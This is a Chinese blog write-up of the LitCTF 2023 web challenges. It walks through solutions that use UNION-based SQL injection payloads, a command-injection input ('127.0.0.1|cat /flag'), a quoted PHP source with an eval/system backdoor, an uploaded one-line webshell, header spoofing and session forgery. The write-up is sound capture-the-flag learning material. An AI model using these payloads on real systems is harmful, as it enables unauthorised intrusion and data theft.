Z1d10tのBlog

A note for myself,have fun!

  1. 1. Web
    1. 1.1. 我Flag呢?(彩蛋一)
    2. 1.2. 导弹迷踪
    3. 1.3. Follow me and hack me(彩蛋三)
    4. 1.4. PHP是世界上最好的语言!!
    5. 1.5. Vim yyds
    6. 1.6. 作业管理系统(彩蛋二)
    7. 1.7. 这是什么?SQL !注一下 !(彩蛋四)
    8. 1.8. Http pro max plus
    9. 1.9. Ping
    10. 1.10. 1zjs
    11. 1.11. 彩蛋
    12. 1.12. 就当无事发生
    13. 1.13. Flag点击就送!

LitCTF 2023(公开赛道)WEB方向WP

整体web都很简单,这次也是第一次ak所有web题目,总排名50/1148,被实验室其他方向的👴带飞,keep on!

img

img

Web

我Flag呢?(彩蛋一)

查看源码爆flag

F12 彩蛋,但是当时是通过翻源码翻出来的,麻了

img

1
LitCTF{First_t0_The_k3y! (1/?)

导弹迷踪

查看game.js源码

img

Follow me and hack me(彩蛋三)

后来复现的时候才发现这道题把提交按钮ban了 当时做的时候直接用hackbar提交的 也是偷了一个一血:)

payload: ?CTF=Lit2023 然后post一个challenge=i'm_c0m1ng

img

提示有备份文件 /www.zip下载一个源码 里面有彩蛋三

img

1
_R3ady_Pl4yer_000ne_ (3/?)

PHP是世界上最好的语言!!

写个php代码就行了

img

Vim yyds

vim 并且题目提示漏了 就想到是vim不正常退出导致的swp文件泄露 当时记得是在ctfshow刷题刷到的

.index.php.swp 下载一个文件

img

然后这里看了大佬的wp 才知道 vim -r可以恢复源码 tql

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<html>

<head>
<meta charset="UTF-8">
<style type="text/css">
body,
html {
display: flex;
align-items: center;
justify-content: center;
}

div.vim {
display: flex;
align-content: center;
vertical-align: middle;
justify-content: center;
}

img {
border: none;
width: 8rem;
height: auto;
}

h1.vim_yyds {
color: #50f728;
display: flex;
align-items: flex-start;
justify-content: center;
margin-top: 50;
margin-left: 5px;
}

h3.vim_said {
color: #39c2ff;
display: flex;
justify-content: center;
align-items: center;
}

br,
p {
font-size: 20;
}
</style>
</head>

<body>
<main>
<div class="vim">
<img src="https://www.bing.com/th?id=OSAAS.7B95FA2D97CE022F5E7949F60E350A25&pid=TechQna"></img>
<h1 class="vim_yyds">
Vim yyds
</h1>
</div>
<h3 class="vim_said">
队里师傅说Vim是世界上最好的编辑器,不接受反驳
</h3>
<div class="can_can_vim">
<?php
error_reporting(0);
$password = "Give_Me_Your_Flag";
echo "<p>can can need Vim </p>";
if ($_POST['password'] === base64_encode($password)) {
echo "<p>Oh You got my password!</p>";
eval(system($_POST['cmd']));
}
?>
</div>
</main>
</body>

post一个cmd命令执行 并且password要等与base64加密后的password 传参即可

作业管理系统(彩蛋二)

查看源码显示用户名密码都是admin

然后上传一个一句话木马 /木马访问就行了

img

然后在这里能看到一个github链接 点进去就是第二个彩蛋 _S0_ne3t? (2/?)

img

这是什么?SQL !注一下 !(彩蛋四)

这个题目真给自己无语住了 一开始用1,2都有正常回显 其他都没有回显 以为是盲注 注了半天还注出来了 发现里面没有flag表和字段 就感觉自己做错了

回头看看 发现是简单的联合注入 真无语住了

img

根据题目是sql语句闭合是))))))

payload:

爆数据库:

1
2
1)))))) union  select 1,group_concat(schema_name) from information_schema.schemata#
information_schema,mysql,ctftraining,performance_schema,test,ctf

爆表:

1
2
1)))))) union select 2,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#
flag,news,users

爆字段:

1
2
1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#
flag

爆数据:

1)))))) union select 1,flag from ctftraining.flag#

最后一个稍微有点坑 是我不了解的知识点 之前联合注入都是比如 select flag from flag 没有限定数据库

导致当时做这道题目时候一直没注出来 麻了人

这里要限定一下数据库然后再加上表名 ctftraining.flag 又学到了

然后输入2 就是第四个彩蛋了

img

1
F1rst_to_Th3_eggggggggg!} (4/4)

Http pro max plus

User-Agent: Chrome 这里要把其他的删光只留这个 当时问了一下出题人

1
2
client-ip: 127.0.0.1
referer: pornhub.com

Via: Clash.win这是我学到的新知识 Via头部列出从客户端到 OCS 或者相反方向的响应经过了哪些代理服务器

img

之后获得一个新路由

1
/wtfwtfwtfwtf.php

查看源码/sejishikong.php 获得flag

Ping

发现除了127.0.0.1以外其他都会被拦截 并且是前端拦截 直接js禁用

1
127.0.0.1|cat /flag

img

1zjs

这道题 我愿称之为我是终极眼瞎

去翻了好多次源码 眼瞎没看到 甚至想过原型链污染

最后一次去看源码 一眼丁真 就藏在最开始的地方 我真该死

img

访问 /f@k3f1ag.php获得一串jsfuck码

在console中打入就能得到flag

img

彩蛋

从上面题目各获取一部分 拼起来即可NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

就当无事发生

感觉这道题目不是一个web题目 纯纯的社工题目

找到github博客仓库 然后去看博客仓库分支的commit提交

img

img

img

Flag点击就送!

这题吧 不想说啥 一眼丁真就以为session伪造 但是没有给到具体的key的信息或者暗示 然后想过模板注入也都不是 甚至想到xss去获取admin session

最后发现 key 就是 LitCTF 。。

最后session伪造 访问/flag即可

本文最后更新于 天前,文中所描述的信息可能已发生改变